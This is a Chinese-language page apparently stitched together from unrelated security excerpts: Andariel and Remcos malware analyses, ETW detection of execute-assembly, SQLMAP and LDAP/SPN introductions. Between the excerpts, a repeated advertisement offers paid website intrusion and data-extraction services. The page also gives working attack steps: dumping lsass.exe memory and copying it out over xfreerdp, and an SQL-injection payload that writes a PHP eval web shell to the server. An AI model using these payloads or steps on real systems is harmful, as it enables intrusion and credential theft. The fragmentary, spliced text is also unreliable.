恶意软件在Andariel过去的攻击中被发现。此外，分发恶意软件时使用的攻击技术与Andariel组织一直使用的攻击技术类似。

在内部传播阶段，首先安装的恶意软件是一个dropper，它会解密资源中存在的三个文件，并使用名为“mozillasvcone”的服务进行安装。通过“mozillasvcone”服务执行的文件“%SystemDirectory%\mozillasvcone.dll”会加载在“%SystemDirectory%\0OGPWm4uRZ0CAkHZ9o\c0FcEpj86LSNmZ5.dll”路径中创建的DLL，并调用RyXmqIUMXViyw6Uvkf()函数。“c0FcEpj86LSNmZ5.dll”会读取在“%SystemDirectory%\OQAuagarc0wDTo\mNyKQBP3vV4uX”路径中创建的加密数据文件，并解密文件以在内存中执行它们。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke

单击“启用内容”按钮以绕过警告并执行恶意宏代码。该宏有一个名为“Wookbook_Active()”的函数，当它打开时会自动调用。它的任务是将单元格中的 VBS 代码提取到文件“%AppData%\HobYQ.vbs”中，然后执行它。
为了保护 Remcos 有效负载文件，它使用了一种超级复杂的方式来下载它。通过这种方式，它同时执行 VBS 和 PowerShell 脚本代码。“HobYQ.vbs”运行一段动态拼接的PowerShell代码，从攻击者的服务器下载另一个VBS文件（“flip.vbs”）并运行。
接下来，“flip.vbs”继续从服务器下载一个文件（称为“mem.txt”），这是一段编码的VBS代码，稍后将在“flip.vbs”中执行以从服务器下载最终文件同一服务器，称为“faze.jpg”。在图 4 中，它显示了三个下载文件“flip.vbs”、“mem.txt”和“faze.jpg”的捕获流量。[color=var(--link-color)]

将 Remcos 添加到系统注册表中的自动运行组
启动看门狗程序（Remcos 的守护程序）
从输入设备（麦克风）记录入侵机器的音频输入
在启动时捕获目标的屏幕截图
在目标的设备上禁用 UAC（用户帐户控制）
等等
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke

检测execute-assembly
一般检测execute-assembly都会使用windows事件跟踪，即ETW，例如这里启动一个powershell进程，通过procexp查看可以看到被CLR托管的dll

我们可以从processhacker工具源码里面的asmpage.c(processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源码里面查看这类工具是怎样枚举.net工具集的，这里挑出关键代码编译成etw2.exe

首先cs上线,然后启动我们的监控程序,在beacon里面调用SharpHound.exe，这里需要在域内且具有.net环境才能够运行成功，执行以下命令

这里就会在exe存放的位置生成以下三个文件

然后我们去看一下我们的监控程序，可以看到已经识别出了SharpHound的调用

这里如果想要规避检测，可以更改程序名的名字，但是这里只要修改检测方法为显示可疑方法的名称即可
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke

SQL注入是一种代码注入技术，过去常常用于攻击数据驱动性的应用，比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞，例如用户输入没有经过正确地过滤（针对某些特定字符串）或者没有特别强调类型的时候，都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术，但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站（更准确的说应该是数据库），以及提取出用户名和密码信息。

SQLMAP是一个开源的渗透测试工具，它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎，适用于高级渗透测试用户，不仅可以获得不同数据库的指纹信息，还可以从数据库中提取数据，此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke

LDAP概述
对于那些并不熟悉Lightwieght Directory Access Protocol (LDAP)人来讲，它大概像是一个目录信息。虽然LDAP在很多平台被使用，但在windows的域环境中它却是 Active Directory Services (ADS)的核心，ADS负责windows域的认证和授权，但也储存了大量的信息，这些信息包括但不限于域用户，计算机用户，域用户组，安全策略和软件更新。每一个对象都有多种属性与之关联，并且其中大部分的属性都可以通过LDAP查询。比如每一个用户都有一个”Created”的属性包含了账号创建时间。同样的每一个账户都有一个” ServicePrincipleName”属性，这也是本文接下来的重点。

微软的文档中是这样陈述的：”ServicePrincipleName（SPN）是客户端用来唯一标识一个服务实例的名称”,在略读后发现这大概为了便利widnows域中的Kerberos认证，但我们可以用它来做一些其他的事，对于我们来说，多值的ServicePrincipleName是很方便的。因为在Active Directory中任何一个用户和计算机对象都储存了账户在域中的运行的服务信息。所以这就可以很方便的定位像IIS、SQL Server，及LDAP。同样也可以很方便的查询到对应的用户在哪里登陆(比如域管理员)。这相对来说要简单些，因为SPN有一个标准化的命令约定。SPN格式为SERVICE/HOST,但有时也会包含端口像 SERVICE/HOST:PORT。 比如，如果一个域用户曾在acme.com域中运行DNS和SQL Server服务

从任务管理器中，转到“详细信息”选项卡，找到 lsass.exe，右键单击，然后选择“创建转储文件”

这将在用户的 AppData\Local\Temp 目录中创建一个转储文件

现在您需要一种方法将转储文件传输到本地计算机。如果在 Linux 中使用 RDP，xfreerdp 是一个很好的选择，因为您可以使用以下语法自动安装共享驱动器来复制文件：

xfreerdp /v:IPADDRESS /u:USERNAME /p:PASSWORD /d:DOMAIN /drive:SHARE,/path/shared
这将在您远程访问的 Windows 计算机上创建一个名为“SHARE”的共享驱动器
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke

SQL注入拿shell
构造payload：and 1=1显示正确，and 1=2显示错误，说明存在SQL注入，并且爆出绝对路径
使用常用的注入函数into outfile 将一句话木马写入自动创建的 xxx.php文件中

http://xxx.xxx.xxx/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[xxx]);?>' into outfile 'x:\\xxx\\xxx\\xxx.php'
需要有写入权限和上一步爆出的绝对路径
验证上传的木马是否成功，成功写入木马
成功利用蚁剑拿到shell
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke